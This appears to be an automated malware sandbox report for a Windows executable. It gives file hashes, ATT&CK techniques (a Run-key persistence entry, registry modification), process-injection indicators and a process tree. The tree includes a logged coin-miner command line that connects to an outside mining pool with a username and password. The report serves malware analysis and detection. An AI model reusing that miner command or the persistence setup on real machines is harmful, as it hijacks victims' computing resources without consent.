489b39160cbb5c6a7db928f5ec310f3f9adb944565923648b233e2d86dd49fcc

General

Target

489b39160cbb5c6a7db928f5ec310f3f9adb944565923648b233e2d86dd49fcc.exe
Size

245KB
MD5

732931d7c6a0b9ecf8add4f1312a3ed9
SHA1

2f1cd3fcf7820783388ac23e7125b4dc8d80d1f9
SHA256

489b39160cbb5c6a7db928f5ec310f3f9adb944565923648b233e2d86dd49fcc
SHA512

727764e1843bd231bc633062464f0cfee44cdd443d3df0df11402ccf831aa8411abe23039d097788f560e2d5beffcec67f23946054edf4da394e082653aee044
SSDEEP

6144:b0HGYUtW8dH7cG+ncI+ScYMnHZFGHItERsmIMpViWqcl:YyW893+nGfGH8DmIH

Score

6^/10

persistence

Malware Config

Signatures

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Windows\CurrentVersion\Run\dhfh22 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sample.exe"	489b39160cbb5c6a7db928f5ec310f3f9adb944565923648b233e2d86dd49fcc.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1048 set thread context of 1388	1048	489b39160cbb5c6a7db928f5ec310f3f9adb944565923648b233e2d86dd49fcc.exe	27
PID 1388 set thread context of 900	1388	489b39160cbb5c6a7db928f5ec310f3f9adb944565923648b233e2d86dd49fcc.exe	28

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 1048 wrote to memory of 1388	1048	489b39160cbb5c6a7db928f5ec310f3f9adb944565923648b233e2d86dd49fcc.exe	27
PID 1048 wrote to memory of 1388	1048	489b39160cbb5c6a7db928f5ec310f3f9adb944565923648b233e2d86dd49fcc.exe	27
PID 1048 wrote to memory of 1388	1048	489b39160cbb5c6a7db928f5ec310f3f9adb944565923648b233e2d86dd49fcc.exe	27
PID 1048 wrote to memory of 1388	1048	489b39160cbb5c6a7db928f5ec310f3f9adb944565923648b233e2d86dd49fcc.exe	27
PID 1048 wrote to memory of 1388	1048	489b39160cbb5c6a7db928f5ec310f3f9adb944565923648b233e2d86dd49fcc.exe	27
PID 1048 wrote to memory of 1388	1048	489b39160cbb5c6a7db928f5ec310f3f9adb944565923648b233e2d86dd49fcc.exe	27
PID 1048 wrote to memory of 1388	1048	489b39160cbb5c6a7db928f5ec310f3f9adb944565923648b233e2d86dd49fcc.exe	27
PID 1048 wrote to memory of 1388	1048	489b39160cbb5c6a7db928f5ec310f3f9adb944565923648b233e2d86dd49fcc.exe	27
PID 1048 wrote to memory of 1388	1048	489b39160cbb5c6a7db928f5ec310f3f9adb944565923648b233e2d86dd49fcc.exe	27
PID 1388 wrote to memory of 900	1388	489b39160cbb5c6a7db928f5ec310f3f9adb944565923648b233e2d86dd49fcc.exe	28
PID 1388 wrote to memory of 900	1388	489b39160cbb5c6a7db928f5ec310f3f9adb944565923648b233e2d86dd49fcc.exe	28
PID 1388 wrote to memory of 900	1388	489b39160cbb5c6a7db928f5ec310f3f9adb944565923648b233e2d86dd49fcc.exe	28
PID 1388 wrote to memory of 900	1388	489b39160cbb5c6a7db928f5ec310f3f9adb944565923648b233e2d86dd49fcc.exe	28
PID 1388 wrote to memory of 900	1388	489b39160cbb5c6a7db928f5ec310f3f9adb944565923648b233e2d86dd49fcc.exe	28
PID 1388 wrote to memory of 900	1388	489b39160cbb5c6a7db928f5ec310f3f9adb944565923648b233e2d86dd49fcc.exe	28
PID 1388 wrote to memory of 900	1388	489b39160cbb5c6a7db928f5ec310f3f9adb944565923648b233e2d86dd49fcc.exe	28
PID 1388 wrote to memory of 900	1388	489b39160cbb5c6a7db928f5ec310f3f9adb944565923648b233e2d86dd49fcc.exe	28

C:\Users\Admin\AppData\Local\Temp\489b39160cbb5c6a7db928f5ec310f3f9adb944565923648b233e2d86dd49fcc.exe
"C:\Users\Admin\AppData\Local\Temp\489b39160cbb5c6a7db928f5ec310f3f9adb944565923648b233e2d86dd49fcc.exe"
1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1048
- C:\Users\Admin\AppData\Local\Temp\489b39160cbb5c6a7db928f5ec310f3f9adb944565923648b233e2d86dd49fcc.exe
  "C:\Users\Admin\AppData\Local\Temp\489b39160cbb5c6a7db928f5ec310f3f9adb944565923648b233e2d86dd49fcc.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:1388
- - C:\Users\Admin\AppData\Local\Temp\489b39160cbb5c6a7db928f5ec310f3f9adb944565923648b233e2d86dd49fcc.exe
    wspamhaustt.exe -a 59 -g yes -o http://xD.x3x9.asia:789/ -u m1n3r_A -p xDxDhgytre
    3⤵
    PID:900

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/900-73-0x0000000000400000-0x0000000000537000-memory.dmp

Filesize
1.2MB

Download
memory/900-74-0x0000000000400000-0x00000000005368DA-memory.dmp

Filesize
1.2MB

Download
memory/900-83-0x0000000000400000-0x00000000005368DA-memory.dmp

Filesize
1.2MB

Download
memory/900-81-0x0000000000720000-0x000000000076B000-memory.dmp

Filesize
300KB

Download
memory/900-80-0x00000000007C0000-0x00000000007C5000-memory.dmp

Filesize
20KB

Download
memory/900-79-0x0000000000400000-0x00000000005368DA-memory.dmp

Filesize
1.2MB

Download
memory/900-76-0x0000000000400000-0x00000000005368DA-memory.dmp

Filesize
1.2MB

Download
memory/900-72-0x00000000004FD000-0x0000000000537000-memory.dmp

Filesize
232KB

Download
memory/900-71-0x00000000004FD000-0x0000000000537000-memory.dmp

Filesize
232KB

Download
memory/900-67-0x0000000000400000-0x0000000000537000-memory.dmp

Filesize
1.2MB

Download
memory/900-66-0x0000000000400000-0x0000000000537000-memory.dmp

Filesize
1.2MB

Download
memory/900-65-0x0000000000400000-0x0000000000537000-memory.dmp

Filesize
1.2MB

Download
memory/900-69-0x0000000000400000-0x0000000000537000-memory.dmp

Filesize
1.2MB

Download
memory/1048-54-0x00000000759F1000-0x00000000759F3000-memory.dmp

Filesize
8KB

Download
memory/1388-64-0x0000000000400000-0x000000000043B000-memory.dmp

Filesize
236KB

Download
memory/1388-55-0x0000000000400000-0x000000000043B000-memory.dmp

Filesize
236KB

Download
memory/1388-60-0x0000000000400000-0x000000000043B000-memory.dmp

Filesize
236KB

Download
memory/1388-59-0x0000000000400000-0x000000000043B000-memory.dmp

Filesize
236KB

Download
memory/1388-58-0x0000000000400000-0x000000000043B000-memory.dmp

Filesize
236KB

Download
memory/1388-82-0x0000000000400000-0x000000000043B000-memory.dmp

Filesize
236KB

Download
memory/1388-56-0x0000000000400000-0x000000000043B000-memory.dmp

Filesize
236KB

Download

Analysis

Sharing